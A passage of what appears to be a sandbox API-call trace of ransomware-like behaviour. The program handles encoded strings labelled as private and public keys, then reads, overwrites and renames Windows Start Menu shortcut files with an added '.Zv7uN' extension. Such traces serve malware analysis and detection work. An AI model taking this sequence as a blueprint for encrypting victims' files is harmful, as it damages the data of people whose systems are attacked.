lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.516] GetCurrentThreadId () returned 0xa30 [0133.516] GetCurrentThreadId () returned 0xa30 [0133.516] GetCurrentThreadId () returned 0xa30 [0133.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.517] GetCurrentThreadId () returned 0xa30 [0133.517] GetCurrentThreadId () returned 0xa30 [0133.517] GetCurrentThreadId () returned 0xa30 [0133.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x518 [0133.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.518] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x518, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x518, lpOverlapped=0x0) returned 1 [0133.535] CloseHandle (hObject=0x1e8) returned 1 [0133.535] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.537] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x518, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x518, lpOverlapped=0x0) returned 1 [0133.539] CloseHandle (hObject=0x1e8) returned 1 [0133.541] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk.zv7un")) returned 1 [0133.544] GetCurrentThreadId () returned 0xa30 [0133.544] GetCurrentThreadId () returned 0xa30 [0133.544] GetCurrentThreadId () returned 0xa30 [0133.544] GetCurrentThreadId () returned 0xa30 [0133.544] GetCurrentThreadId () returned 0xa30 [0133.544] GetCurrentThreadId () returned 0xa30 [0133.544] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Create Recovery Disc.lnk", cAlternateFileName="CREATE~1.LNK")) returned 1 [0133.544] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.544] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.544] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0133.545] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk")) returned 0x20 [0133.545] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk", dwFileAttributes=0x80) returned 1 [0133.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.547] WideCharToMultiByte (in: CodePage=0x4e4, 